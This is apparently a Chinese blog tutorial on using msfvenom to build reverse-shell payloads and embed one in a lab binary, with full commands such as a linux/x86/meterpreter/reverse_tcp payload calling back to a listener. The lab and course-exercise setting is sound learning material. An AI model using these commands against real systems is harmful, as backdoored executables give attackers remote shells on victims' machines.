写点什么

使用 MSF 生成 shellcode

作者:喀拉峻
  • 2022 年 1 月 18 日
  • 本文字数:2594 字

    阅读完需:约 9 分钟

  1. payload 和 shellcode 的区别

Payload 是是包含在你用于一次漏洞利用(exploit)中的 ShellCode 中的主要功能代码。因为 Payload 是包含在 ShellCode 中的,ShellCode 是真正的被输入到存在漏洞的程序中的,并且 ShellCode 负责把程序的流程最终转移到你的 Payload 代码中。所以对于一个漏洞来说,ShellCode 就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个 ShellCode 中包含你需要的 Payload 来做一些事情。

  1. 利用 msfvenom 生成 payload

给个中文版的 msfvenom 的命令行选项:

Options:    -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定    -l, --list       \[module_type\]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all    -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度    -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)    -e, --encoder    \[encoder\]       指定需要使用的encoder(编码器)    -a, --arch       <architecture>  指定payload的目标架构        --platform   <platform>      指定payload的目标平台    -s, --space      <length>        设定有效攻击荷载的最大长度    -b, --bad-chars  <list>          设定规避字符集,比如: &#039;\\x00\\xff&#039;    -i, --iterations <count>         指定payload的编码次数    -c, --add-code   <path>          指定一个附加的win32 shellcode文件    -x, --template   <path>          指定一个自定义的可执行文件作为模板    -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行        --payload-options            列举payload的标准选项    -o, --out   <path>               保存payload    -v, --var-name <name>            指定一个自定义的变量,以确定输出格式        --shellest                   最小化生成payload    -h, --help                       查看帮助选项        --help-formats               查看msf支持的输出格式列表
复制代码

首先我们用到的第一个选项是-l,查看所有 msf 可用的 payload 列表。里面有 526 种 payload,我们需要的 payload 功能是获取反弹连接 shell

想要找到可用的 payload 首先要知道靶机的版本。在网上找方法查了一下,我开的另外一台 kali 靶机是 64 位。对应 linux64 位可用的 payload 有这些。



① 200 多本网络安全系列电子书② 网络安全标准题库资料③ 项目源码④ 网络安全基础入门、Linux、web 安全、攻防方面的视频⑤ 网络安全学习路线图【戳此白嫖】

根据这些 payload 的功能描述,找出我们需要的 payload,使用-p 指定。给大家翻译了一下这些描述啥意思,如下:

- execute an arbitrary command    执行一个任意命令- Inject the mettle server payload(staged).Listen to a connection. 注入mettle server payload,监听等待一个连接。- Inject the mettle server payload(staged).Connect back to a connection. 注入mettle server payload,反弹连接一个连接。- run the meterpreter /Mettle server payload (stageless) 运行meterpreter或者Mettle server payload- spawn a command shell.Listen to a connection.   产生一个shell,等待连接。- spawn a command shell.Connect back to a connection. 产生一个shell,反弹连接一个连接。- Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.在一个随机端口监听一个连接,并产生一个shell。- Spawn a shell on an established connection在已经存在的连接上产生一个shell- Connect back to attacker and spawn a command shell反弹连接攻击者,并产生一个shell。
复制代码

很显然我们选择最后一个,linux/x64/shell_reverse_tcp.

选定了 payload,我们需要给它写一些什么参数呢?用这个指令查看

msfvenom -p windows/meterpreter/reverse_tcp --payload-options
复制代码



基础参数就两个 LHOST 和 LPORT。跟在 payloa 后面设置一下就可以了。

选好了 payload,接下来我们-f 选 payload 的输出格式。用这个指令可以查看 payload 有哪些输出格式。

msfvenom --help-formats
复制代码

发现有很多:


我们的目标是注入到 pwn1 里去,当然选择 ELF 格式了!

还可以用-e 选择编码器和-i 迭代编码的次数。用这个指令查看可用的编码方式。

msfvenom -l encoders
复制代码

但 ELF 文件的编码方式应该是机器无关的,不用选这个选项。

最后呢,当然是要用-x 参数指定我们的模板 pwn1.payload(shellcode)就写入到 pwn1 这个可执行文件中。

所以,最终我们的指令是

msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2
复制代码

然后把我们毒化的 pwn2,复制到靶机里。打开攻击方的 msfconsole,加载 exploit/multi/handler 模块,设置参数,最后一个 exploit 指令!攻击!

但是一切似乎不如人意,我在靶机上运行了 pwn2,控制机没有任何反应……

然后又在网上找了这篇文章msfvenom生成各类Payload命令,里面说 linux 里指令要这样写

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
复制代码

对比之后,我意识到,虽然 linux 系统是 64 位,但 pwn1 是个 32 位程序啊!所以还是用 x86 下面的 payload。

最终的指令是这样的:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3
复制代码

再怀着忐忑和激动的心情去测试了一下 pwn3,就发现成功了!




用户头像

喀拉峻

关注

左手Java右手Python,中间纹个C++ 2021.06.26 加入

还未添加个人简介

评论

发布
暂无评论
使用MSF生成shellcode